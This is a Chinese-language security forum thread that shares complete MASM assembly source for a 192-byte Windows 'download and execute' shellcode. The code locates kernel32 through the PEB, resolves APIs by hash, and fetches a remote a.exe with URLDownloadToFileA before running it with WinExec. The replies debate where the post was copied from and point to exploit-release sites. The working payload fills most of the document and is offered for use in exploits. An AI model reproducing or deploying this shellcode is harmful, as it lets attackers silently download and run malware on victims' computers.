发新话题
打印

win32 Tiny Download and Exec Shellcode 192 bytes

win32 Tiny Download and Exec Shellcode 192 bytes

复制内容到剪贴板
代码:
;header 163=61(16+8+9+(28))+95(68+27)+17
;163+19=192
comment %
        #--------------------------------------#     #
       # Tiny Download&&Exec ShellCode-->    #    #
      #  -->size 192               #  #
     #           2007.06.01         #
      #          codz: czy        #  #
       #------------------------------------------#   #

system :test on ie6+XPSP2/2003SP2/2kSP4
%
.586
.model flat,stdcall
option casemap:none

include   c:\masm32\include\windows.inc
include   c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include   c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib


.data
shelldatabuffer db 1024 dup(0)
shellcodebuffer    db 2046 dup(0)
downshell    db 'down exploit',0
txtname        db 'c:\office\unicode.doc',0
.code
start:
    invoke    MessageBoxA,0,offset downshell,offset downshell,1
    invoke    RtlMoveMemory,offset shellcodebuffer,00401040H,256
    mov    eax,offset shellcodebuffer
    jmp    eax
    somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;上面的代码是把在代码段中的shellcode移动数据段中执行,模拟真实的shellcode执行环境   
@@shellcodebegin:        
    call    @@beginaddr
@@beginaddr:
    PUSH 03H   ;要调用的API函数个数
    jmp    @@realshellcode     
myExitProcess   dd 073e2d87eh  
myWinExec     dd 00e8afe98h  
myLoadLibraryA  dd 0ec0e4e8eh
dll        db 'URLMON',0,0
myUrlDownFile   dd 0702f1a36h
path       db 'c:\a.exe',0
url        db 'http://www.masm32.net/a.exe',0



@@realshellcode:
  POP ECX
  POP EDI
  SCASD ;edi+4
;得到kernel32.dll基地址
db 67h,64h,0A1h,30h,00h
    mov eax, [eax+0cH]
    mov esi, [eax+1cH]
  lodsd
    mov ebp, [eax+08H]     ;EBP中存放kernel32.dll的基地址
;处理导出表
@@next2:
PUSH   ECX
@@next3:
MOV    ESI,[EBP+3Ch]
MOV    ESI,[EBP+ESI+78h]
ADD    ESI,EBP
PUSH   ESI
MOV    ESI,[ESI+20h]
ADD    ESI,EBP
XOR    ECX,ECX
DEC    ECX
@@next:
INC    ECX
LODSD
ADD    EAX,EBP
XOR    EBX,EBX
@@again:
  MOVSX   EDX,BYTE PTR [EAX]
  CMP    DL,DH
  JZ    @@end
  ROR    EBX,0Dh
  ADD    EBX,EDX
  INC    EAX
  JMP    @@again
@@end:
CMP    EBX,[EDI]
JNZ    @@next

POP    ESI
MOV    EBX,[ESI+24h]
ADD    EBX,EBP
MOV    CX,WORD PTR [ECX*2+EBX]
MOV    EBX,[ESI+1Ch]
ADD    EBX,EBP
MOV    EAX,[ECX*4+EBX]
ADD    EAX,EBP
STOSD
POP    ECX
loop @@next2

mov ecx,[edi]  ;2
cmp cl,'c'   ;3
jz @@downfile  ;2
PUSH EDI
CALL EAX    ;2
xchg eax,ebp
scasd
scasd
push 01     ;2第二个DLL的函数个数
jmp @@next3   ;2
        ;总计17

     
@@downfile:

    push    edx ;0
    push    edx ;0
    push  edi ;file=c:\a.exe
    lea   ecx, dword ptr [edi+9h]
    push  ecx ;url
    push    edx ;0
    call    eax ;URLDownloadToFileA,0,url,file=c:\a.exe,0,0
   
   
    push 1 ;FOR TEST
    push edi
    call dword ptr [edi-14H] ;winexec,'c:\xxx.exe',1
   
  call dword ptr [edi-18H] ;Exitprocess

  somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
  invoke ExitProcess,0
end start

TOP

呵呵,发现八进制不少人在白细胞那灌水...
BLOG: http://blog.csdn.net/hkbyest

TOP

白细胞上发的注释是 中文的
而 楼主发的 注释是 乱码
另外 楼主经常转一些 milw0rm 上的 资料
初步估计 以上的东西不是从 白细胞来
而是从 milw0rm 来的

TOP

嗯,刚看了下,果然如LS所说,WC版本开头的注释没有旅团的网址。
BLOG: http://blog.csdn.net/hkbyest

TOP

注意,这里只是发一些新资料,要旧的,请您访问我们精心为您准备的:
Exploit Sites:
http://forum.eviloctal.com/read-htm-tid-26425.html
我们所发布的Exploit都是来自网络,有时候不能及时更新。这里把Exploit发布站点收集起来,让大家方便查阅。

TOP

发新话题